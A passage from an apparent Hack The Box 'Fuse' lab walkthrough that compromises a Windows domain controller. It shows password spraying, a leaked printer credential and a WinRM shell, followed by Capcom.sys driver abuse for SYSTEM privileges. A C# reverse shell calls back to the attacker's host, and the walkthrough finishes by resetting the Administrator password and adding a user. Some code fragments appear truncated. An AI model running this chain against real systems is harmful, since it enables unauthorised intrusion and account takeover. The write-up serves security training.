SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:attached STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:consider STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:monitoring STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:reporting STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:charging STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:advanced STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:management STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:inaccurate STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:developers STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:Developer STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:PaperCutDev STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:permission STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:directory STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:credentials STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:supplied STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:pdfLETTER STATUS_LOGON_FAILURE

SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:credentials STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:supplied STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:pdfLETTER STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:WordLETTER STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:Untitled STATUS_LOGON_FAILURE

```

As you can see there two **STATUS_PASSWORD_MUST_CHANGE** messages because the users tlavel and bhult are using the password **Fabricorp01**.

```

sudeera@Mumbai:~/Documents/Fuse$ cat credentials.txt
tlavel:Fabricorp01

```

Step 8 – Now we will change the SMB password of the user tlavel.

```

sudeera@Mumbai:~/Documents/Fuse$ smbpasswd -U tlavel -r 10.10.10.193
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user tlavel

```

Foothold

The goal of this phase is to move from initial compromise of a network to a position where it is possible to achieve operational objectives. Careful data gathering and analysis should be performed to determine what types and levels of access are necessary.

Step 9 – After that we will log in using the RPC client and by using the user tlavel.

And by using the *enumdomusers* we can enumerate the users in the domain. Here we can see the user names as well as their RID (the suffix of their SID) in hexadecimal form.

```
sudeera@Mumbai:~/Documents/Fuse$ rpcclient -U tlavel 10.10.10.193
Enter WORKGROUP\tlavel's password:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]
rpcclient $>
```

Step 10 – We will save those usernames to a text file for our future references.

```
sudeera@Mumbai:~/Documents/Fuse$ sudo vim users2.txt
[sudo] password for sudeera:
sudeera@Mumbai:~/Documents/Fuse$ cat users2.txt
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]
```


By using regular expressions we can get only the required usernames from the text file by removing other characters.

```
sudeera@Mumbai:~/Documents/Fuse$ cat users2.txt | awk -F\[ '{print $2}' | awk -F\] '{print $1}'
Administrator
Guest
krbtgt
DefaultAccount
svc-print
bnielson
sthompson
tlavel
pmerton
svc-scan
bhult
dandrews
mberbatov
astein
dmuir
```

Step 11 - To get more information about print service account we will query the user by using the RID. Here we can see the last logon time, logoff time & password last set time.

```
rpcclient $> queryuser 0x450
User Name      : svc-print
Full Name      :
Home Drive     :
Dir Drive      :
Profile Path    :
Logon Script    :
Description     :
Workstations    :
Comment        :
Remote Dial     :
Logon Time      :      Wed, 04 Nov 2020 22:50:00 +0530
Logoff Time     :      Thu, 01 Jan 1970 05:30:00 +0530
Kickoff Time    :      Thu, 01 Jan 1970 05:30:00 +0530
Password last set Time :      Sun, 31 May 2020 05:57:08 +0530
Password can change Time :      Mon, 01 Jun 2020 05:57:08 +0530
Password must change Time:      Thu, 14 Sep 30828 08:18:05 +0530
unknown_2[0..31]...
user_rid       :      0x450
group_rid      :      0x201
acb_info       :      0x00000210
fields_present : 0x00ffffff
logon_divs     :      168
bad_password_count:      0x00000000
logon_count    :      0x000001c4
padding1[0..7]...
logon_hrs[0..21]...
```

Step 12 - By using the *enumprinters* command we can enumerate available printers, print servers, domains or print providers. Since we have service account for printer we will use it to get more information. As you can see we got the password for the svc – print account. (\$fab@s3Rv1ce\$1)

```

rpcclient $> enumprinters
flags:[0x800000]
name:[\\10.10.10.193\HP-MFT01]
description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
comment:[]

```

Step 13 - Now we will check if other accounts are using this same password too. For this we can use the *crackmapexec* command.

```

sudeera@Mumbai:~/Documents/Fuse$ crackmapexec smb 10.10.10.193 -u users3.txt -p '$fab@s3Rv1ce$1' --continue-on-success
SMB 10.10.10.193 445 FUSE [+] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:FABRICORP) (signing:True) (SMBv1:True)
SMB 10.10.10.193 445 FUSE [-] FABRICORP\Administrator:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\Guest:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\krbtgt:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\DefaultAccount:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [+] FABRICORP\svc-print:$fab@s3Rv1ce$1
SMB 10.10.10.193 445 FUSE [-] FABRICORP\bnielson:$fab@s3Rv1ce$1 STATUS_ACCESS_DENIED
SMB 10.10.10.193 445 FUSE [-] FABRICORP\sthompson:$fab@s3Rv1ce$1 STATUS_ACCESS_DENIED
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:$fab@s3Rv1ce$1 STATUS_ACCESS_DENIED
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:$fab@s3Rv1ce$1 STATUS_ACCESS_DENIED
SMB 10.10.10.193 445 FUSE [-] FABRICORP\svc-scan:$fab@s3Rv1ce$1 STATUS_ACCESS_DENIED
SMB 10.10.10.193 445 FUSE [-] FABRICORP\bhult:$fab@s3Rv1ce$1 STATUS_ACCESS_DENIED
SMB 10.10.10.193 445 FUSE [-] FABRICORP\dandrews:$fab@s3Rv1ce$1 STATUS_ACCESS_DENIED
SMB 10.10.10.193 445 FUSE [-] FABRICORP\mberbatov:$fab@s3Rv1ce$1 STATUS_ACCESS_DENIED
SMB 10.10.10.193 445 FUSE [-] FABRICORP\astein:$fab@s3Rv1ce$1 STATUS_ACCESS_DENIED
SMB 10.10.10.193 445 FUSE [-] FABRICORP\dmuir:$fab@s3Rv1ce$1 STATUS_ACCESS_DENIED
SMB 10.10.10.193 445 FUSE [-] FABRICORP\:$fab@s3Rv1ce$1 STATUS_ACCESS_DENIED

```

```

sudeera@Mumbai:~/Documents/Fuse$ sudo crackmapexec winrm 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'
WINRM 10.10.10.193 5985 FUSE [+] http://10.10.10.193:5985/wsman
WARNING:urllib3.connectionpool:Failed to parse headers (url=http://10.10.10.193:5985/wsman): [StartBoundaryNotFoundDefect(), MultipartInvariantViolationDefect()], unparsed data: ''
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 446, in _make_request
    assert_header_parsing(httplib_response.msg)
  File "/usr/lib/python3/dist-packages/urllib3/util/response.py", line 71, in assert_header_parsing
    raise HeaderParsingError(defects=defects, unparsed_data=unparsed_data)
urllib3.exceptions.HeaderParsingError: [StartBoundaryNotFoundDefect(), MultipartInvariantViolationDefect()], unparsed data: ''
WINRM 10.10.10.193 5985 FUSE [-] FABRICORP\svc-print:$fab@s3Rv1ce$1 "Access is denied. (extended fault data: {'transport_message': 'Bad HTTP response returned from serv
er. Code 500', 'http_status_code': 500, 'wsmanfault_code': '5', 'fault_code': 's:Sender', 'fault_subcode': 'w:AccessDenied'})"

```

Step 14 - By using the evil – winrm we were able to get a windows remote management shell using our service account svc – print. WinRM (Windows Remote Management) is the Microsoft implementation of WS-Management Protocol. A standard SOAP based protocol that allows hardware and operating systems from different vendors to interoperate.

```

sudeera@Mumbai:~/Documents/Fuse$ evil-winrm -i 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'
Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-print\Documents> dir

Directory: C:\Users\svc-print\Documents

Mode                LastWriteTime         Length Name
----                -
-a----           11/4/2020   5:09 AM           7168 nc.exe

```

Step 15 - Whenever we get access to an account we might need to check what privileges that the account has. Because it might be useful for our next phase. Here we will use *whoami /all* command to retrieve information. In the below output we can see the groups which the user resides.

```

«Evil-WinRM» PS C:\Users\svc-print\Documents> whoami /all

USER INFORMATION
-----

User Name          SID
=====
fabricorp\svc-print S-1-5-21-2633719317-1471316042-3957863514-1104

GROUP INFORMATION
-----

Group Name          Type          SID          Attributes
=====
Everyone            Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias        S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users       Alias        S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias        S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias        S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
FABRICORP\IT_Accounts Group         S-1-5-21-2633719317-1471316042-3957863514-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label         S-1-16-12288

```

In the privileges information section we can see all the privileges which are assigned to this account. **SeLoadDriverPrivilege** can be used to load and unload device drivers to the kernel. For our next phase we will use this privilege to add a malicious driver to the kernel and there by gaining access to high privileges accounts.

```

PRIVILEGES INFORMATION
-----

Privilege Name          Description          State
=====
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege   Load and unload device drivers Enabled
SeShutdownPrivilege     Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

USER CLAIMS INFORMATION
-----

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

```

Step 16 – By moving to the current user's Desktop we can capture the user flag which is inside a text file.


```

«Evil-WinRM» PS C:\Users\svc-print\Desktop> more user.txt
5fbe[REDACTED]455


```


Privilege escalation

In this phase we will try to gain administrative privileges by using the privileges of the svc – print service account. In the previous step we identified that the svc – print account has SeLoadDriverPrivilege which can be used to load and unload device drivers to the kernel. So now we will use Capcom.sys kernel level driver which provides an IOCTL (Input output control) service to applications that disables SMEP on the computer, executes code at a given pointer and then enables SMEP again.



EoLoadDriver is a proof of concept for abusing SeLoadDriverPrivilege (Privilege Escalation in Windows).



github.com/tandasat/ExploitCapcom

tandasat / ExploitCapcom

Code Issues Pull requests Actions Projects Security Insights

master 1 branch 0 tags

Go to file Code

About

This is a standalone exploit for a vulnerable feature in Capcom.sys

Readme MIT License

Releases

No releases published

Packages

No packages published

Languages

C++ 97.3% C 2.7%

README.md

ExploitCapcom

Description

This is a standalone exploit for a vulnerable feature in Capcom.sys. The feature is exposed through IOCTL and to execute an arbitrary user supplied function pointer with disabling SMEP. This exploit simply abuses the feature to perform token stealing to get the SYSTEM privileges, and then launches the command prompt with the elevated

Step 17 - We will download all the required files and keep them in a single folder. To create this .exe file we need to use visual studio.

Fuse VS

File Home Share View

This PC > Downloads > Fuse VS

Name	Date modified	Type	Size
EoLoadDriver	11/6/2020 1:38 AM	File folder	
ExploitCapcom	11/6/2020 1:39 AM	File folder	
Capcom.sys	11/5/2020 12:04 AM	System file	11 KB

C:\Users\Sudeera Seneviratne\Downloads\Fuse VS\EoLoadDriver\eoLoadDriver.cpp - Notepad++

File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ?


```

1 // EoLoadDriver PoC by Oscar Mallo (Tarlogic)
2
3 // If you have any suggestion or problem feel free to open an issue :)
4
5 #include "stdafx.h"
6 #include <Windows.h>
7 #include <Winnt.h>
8 #include <char.h>
9 #include <stdio.h>
10 #include <stdlib.h>
11 #include <shellapi.h>
12 #include <strsafe.h>
13
14 #define REGISTRY_USER_PREFIX_T("\\Registry\\User\\")
15 #define IMAGE_PATH_T("\\??\\")
16
17 ULONG
18 LoadDriver(LPWSTR userSid, LPWSTR RegistryPath)
19 {
20     UNICODE_STRING DriverServiceName;
21     NTSTATUS status;
22
23     typedef NTSTATUS(_stdcall *NT_LOAD_DRIVER)(IN PUNICODE_STRING DriverServiceName);
24     typedef void (WINAPI* RTL_INIT_UNICODE_STRING)(PUNICODE_STRING, PCWSTR);
25
26     NT_LOAD_DRIVER NtLoadDriver = (NT_LOAD_DRIVER)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtLoadDriver");
27     RTL_INIT_UNICODE_STRING RtlInitUnicodeString = (RTL_INIT_UNICODE_STRING)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
28
29     wchar_t registryPath[MAX_PATH];
30     _snprintf_s(registryPath, _TRUNCATE, L"%s\\%s", REGISTRY_USER_PREFIX, userSid, RegistryPath);
31
32     wprintf(L"[+] Loading Driver: %s\n", registryPath);
33
34     RtlInitUnicodeString(&DriverServiceName, registryPath);
35
36     status = NtLoadDriver(&DriverServiceName);
37     printf("NTSTATUS: %08x, WinError: %d\n", status, GetLastError());
38
39     if (!NT_SUCCESS(status))
40         //return RtlNtStatusToDosError(status);
41 }


```

C++ source file length: 6,948 lines: 308 Ln: 47 Col: 1 Sel: 0|0 Unix (LF) UTF-8 INS


Step 18 - Open the Visual studio and then click create a console app project.




Step 19 - Give an appropriate name to the project and click next.




Step 20 - Copy the code in the *eoploaddriver.cpp* file and paste it here. And remove the very first line of the code (include <windows.h>).




Step 21 - Click rebuild solution.




When we go to the following directory which we saved our project we can see the .exe file.







Step 22 - Then open a new project by going to the file in the menu.




Step 23 - Search ExploitCapcom.sln project file in the downloaded files and click open.




Step 24 - After opening the project file go to the source files > exploitcapcom.cpp file from the right side navigation bar.




Step 25 - Then search for the `LaunchShell()` function in the code. After that change the `cmd` as `rev.exe` in the directory `c:\windows\temp`. The reason for this change is we need our reverse shell to open after running this .exe successfully. Not the windows built in command line interface.




Step 26 - After that rebuild the solution to get the .exe file.



Step 27 - Then go to the directory where we created the project and then find the .exe



Step 28 - Copy the .exe to the folder and move those files to the Kali Linux machine.



Step 29 - Login to the windows remote management session and upload all three files to the c:\windows\temp folder.

```
*Evil-WinRM* PS C:\windows\temp> upload Capcom.sys
Info: Uploading Capcom.sys to C:\windows\temp\Capcom.sys

Data: 14100 bytes of 14100 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\windows\temp> upload LoadDriver.exe
Info: Uploading LoadDriver.exe to C:\windows\temp\LoadDriver.exe

Data: 20480 bytes of 20480 bytes copied

Info: Upload successful!
```

```
*Evil-WinRM* PS C:\windows\temp> upload ExploitCapcom.exe
Info: Uploading ExploitCapcom.exe to C:\windows\temp\ExploitCapcom.exe

Progress: 59% : |███████████|

*Evil-WinRM* PS C:\windows\temp> upload ExploitCapcom.exe
Info: Uploading ExploitCapcom.exe to C:\windows\temp\ExploitCapcom.exe

Data: 363176 bytes of 363176 bytes copied

Info: Upload successful!
```

Step 30 - Now let's load the driver Capcom.sys as a service by adding a registry entry for that. The HKLM\SYSTEM\CurrentControlSet\Services registry tree stores information about each service on the system. Each driver has a key of the form HKLM\SYSTEM\CurrentControlSet\Services\DriverName.

```
*Evil-WinRM* PS C:\windows\temp> .\LoadDriver.exe System\CurrentControlSet\Seeyousoon c:\windows\temp\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\Seeyousoon
NTSTATUS: c0000035, WinError: 0
```

After that we will create a C# reverse shell which will be executed on the domain controller.

The screenshot shows a web browser window with the address bar displaying 'puckiestyle.nl/c-simple-reverse-shell/'. The main content area has the title 'C# Simple Reverse Shell' and a subtitle 'C# Simple Reverse Shell Code writing'. Below the subtitle, there is a paragraph explaining the purpose of the code: 'Looking on github there are many examples of C# code that open reverse shells via cmd.exe. In this case i copied part of the codes and used the following simple C# program. No evasion, no persistence, no hiding code, only simple "open socket and launch the cmd.exe on victim machine":'. The code is presented in a light blue box with the following content:

```
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;

namespace ConnectBack
{
    public class Program
    {
        static StreamWriter streamWriter;

        public static void Main(string[] args)
        {
            using(TcpClient client = new TcpClient("10.0.2.15", 443))
            {
                using(Socket s = client.GetStream())
                {
                    streamWriter = new StreamWriter(s);
                }
            }
        }
    }
}
```

The right sidebar contains sections for 'RECENT POSTS', 'RECENT COMMENTS', and 'ARCHIVES'. The 'RECENT POSTS' section lists several protected links. The 'RECENT COMMENTS' section shows comments from 'Juan', 'base64decode on HTB - Shrek', and 'Hillie'. The 'ARCHIVES' section lists months from November 2020 to July 2020.

Step 31 - Let's save this code to a file and save it under the .cs extension

```
sudeera@Mumbai:~/Documents/Fuse$ sudo vim rev.cs
```

Step 32 - Inside the file we need to change the IP address of our local Kali Linux machine (The IP address of the VP tunnel interface) and the port which we are going to open and listen from our Linux machine.

```

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;

// Using Certificate Extended Key Usage
// Certificate has EKU (1.3.6.1.5.5.7.3.1) for Web Server Authentication, expects TLS Web Server Authentication
// Using Certificate Extended Key Usage
// Certificate has EKU (1.3.6.1.5.5.7.3.1) for Web Server Authentication, expects TLS Web Server Authentication

namespace ConnectBack
{
    public class Program
    {
        static StreamWriter streamWriter;

        public static void Main(string[] args)
        {
            using(TcpClient client = new TcpClient("10.10.14.145", 9001))
            {
                using(Stream stream = client.GetStream())
                {
                    using(StreamReader rdr = new StreamReader(stream))
                    {
                        streamWriter = new StreamWriter(stream);
                        StringBuilder strInput = new StringBuilder();
                        Process p = new Process();
                    }
                }
            }
        }
    }
}

```

1,1 Top

```

*Evil-WinRM* PS C:\windows\temp> upload rev.cs
Info: Uploading rev.cs to C:\windows\temp\rev.cs

Data: 2336 bytes of 2336 bytes copied
Info: Upload successful!

```

Step 33 - Now let's upload the C# reverse shell to the c:\windows\temp folder of the domain controller.

```

*Evil-WinRM* PS C:\windows\temp> copy rev.cs "c:\HP Universal Print Driver\"

```

Step 34 - Let's copy the file to the "C:\HP Universal Print Driver\". If we need to execute a file in windows it needs be in .exe file extension. Now we will convert the .cs file to an .exe file using Microsoft.NET framework command line compiler.

```

*Evil-WinRM* PS C:\windows\temp> cd C:\windows\Microsoft.NET\Framework64\v4.0.30319\
*Evil-WinRM* PS C:\windows\Microsoft.NET\Framework64\v4.0.30319> .\csc.exe /t:exe /out:c:\windows\temp\rev.exe "c:\HP Universal Print Driver\rev.cs"
Microsoft (R) Visual C# Compiler version 4.6.1586.0

for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer v
ersions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240

c:\HP Universal Print Driver\rev.cs(64,34): warning CS0168: The variable 'err' is declared but never used

```

cd c:\windows\Microsoft.NET\Framework64\v4.0.30319\

.\csc.exe /t:exe /out:c:\windows\temp\rev.exe "c:\HP Universal Print Driver\rev.cs"

Step 35 - Using netcat we will open port 9001 and listen for incoming connections.

```

kudeera@Mumbai:~/Documents/Fuse$ sudo nc -lvnp 9001
listening on [any] 9001 ...

```

Step 36 - Now will go to c:\windows\temp and execute the ExploitCapcom .exe file

```

eEvil-WinRM* PS C:\windows\temp> .\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 0000011AE7C90008
[*] Shellcode was executed
[*] Token stealing was successful
[*] The c:windows      emp
ev.exe was launched
[*] Press any key to exit this program

```

As you can see we were able to successfully get a reverse shell to our Linux machine. By using the `whoami` command we can see which user privileges are we using. (NT Authority is the most powerful account on a Windows local instance in fact it is more powerful than any administrator account. Most of the System level services and some other 3rd party services run in the account).

```

sudeera@Mumbai:~/Downloads$ sudo nc -lvnp 9001
[sudo] password for sudeera:
listening on [any] 9001 ...
connect to [10.10.14.145] from (UNKNOWN) [10.10.10.193] 59083
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
whoami
C:\windows\temp>whoami
nt authority\system

```

Step 37 - By navigating to the Administrator's Desktop we were able to capture the root flag.

```

sudeera@Mumbai:~/Downloads$ sudo nc -lvnp 9001
[sudo] password for sudeera:
listening on [any] 9001 ...
connect to [10.10.14.145] from (UNKNOWN) [10.10.10.193] 59118
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
cd c:\Users\Administrator\Desktop
C:\windows\temp>cd c:\Users\Administrator\Desktop
ls
c:\Users\Administrator\Desktop>ls
dir
c:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is E6C8-44FE
Directory of c:\Users\Administrator\Desktop
06/01/2020  01:03 AM    <DIR>          .
06/01/2020  01:03 AM    <DIR>          ..
11/04/2020  09:47 PM                34 root.txt
               1 File(s)                34 bytes
               2 Dir(s)  27,984,986,112 bytes free
type root.txt
c:\Users\Administrator\Desktop>type root.txt
e75[REDACTED]J471

```

Step 38 - And now we change the local administrator password by using `net user` command.


```
sudeera@Mumbai:~/Documents/Fuse$ sudo nc -lvnp 9001
[sudo] password for sudeera:
listening on [any] 9001 ...
connect to [10.10.14.145] from (UNKNOWN) [10.10.10.193] 49950
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
whoami
C:\windows\temp>whoami
nt authority\system
net user Administrator pass@12345
C:\windows\temp>net user Administrator pass@12345
The command completed successfully.
```

The below output depicts all the privileges that a NT Authority user account has.

```
whoami /all
C:\windows\temp>whoami /all
USER INFORMATION
-----
User Name          SID
=====
nt authority\system S-1-5-18
GROUP INFORMATION
-----
Group Name          Type          SID          Attributes
=====
BUILTIN\Administrators Alias        S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone            Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label      S-1-16-16384
PRIVILEGES INFORMATION
-----
Privilege Name      Description          State
=====
SeCreateTokenPrivilege Create a token object Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled

SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller Disabled
SeRelabelPrivilege Modify an object label Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
USER CLAIMS INFORMATION
-----
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
```

Step 39 - Now we can log in using the administrator account.

```
sudeera@Mumbai:~/Documents/Fuse$ evil-winrm -i 10.10.10.193 -u Administrator -p 'pass@12345'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
fabricorp\administrator
```

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

    Connection-specific DNS Suffix  . : 
    IPv6 Address. . . . . : dead:beef::f9c6:6104:9110:d7c1
    Link-local IPv6 Address . . . . . : fe80::f9c6:6104:9110:d7c1%5
    IPv4 Address. . . . . : 10.10.10.193
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : fe80::250:56ff:feb9:7eaa%5
                                10.10.10.2

Tunnel adapter isatap.{AF2C7A34-A136-4854-894E-84F30DA6C214}:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :
```

Step 40 - We can get all the users of the domain by using the net user / domain command.

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> NET USERS /DOMAIN

User accounts for \\

-----
Administrator          astein                 bhult
bnielson               dandrews              DefaultAccount
dmuir                  Guest                 krbtgt
mberbatov              pmerton               sthompson
svc-print              svc-scan              tlavel
The command completed with one or more errors.
```

Step 41 - And we were able to add a user to the domain controller.

```

*Evil-WinRM* PS C:\Users\Administrator\Documents> net user sudeera pass@12345 /add
The command completed successfully.

*Evil-WinRM* PS C:\Users\Administrator\Documents> net users /domain

User accounts for \\

-----
Administrator      astein             bhult
bnielson           dandrews           DefaultAccount
dmuir              Guest              krbtgt
mberbatov          pmerton            sthompson
sudeera            svc-print          svc-scan
tlavel
The command completed with one or more errors.

```

References

Additional tools

- [Capcom Rootkit](#)
- [EoPLoadDriver](#)
- [ExploitCapcom](#)
- [PuckieStyle](#)

A video tutorial walk through - <https://www.youtube.com/watch?v=VxbC03xmS60>

Medium. 2020. Fuse—Hackthebox. [online] Available at: <<https://medium.com/@y4th0ts/fuse-hackthebox-c5e22825793f>> [Accessed 1 November 2020].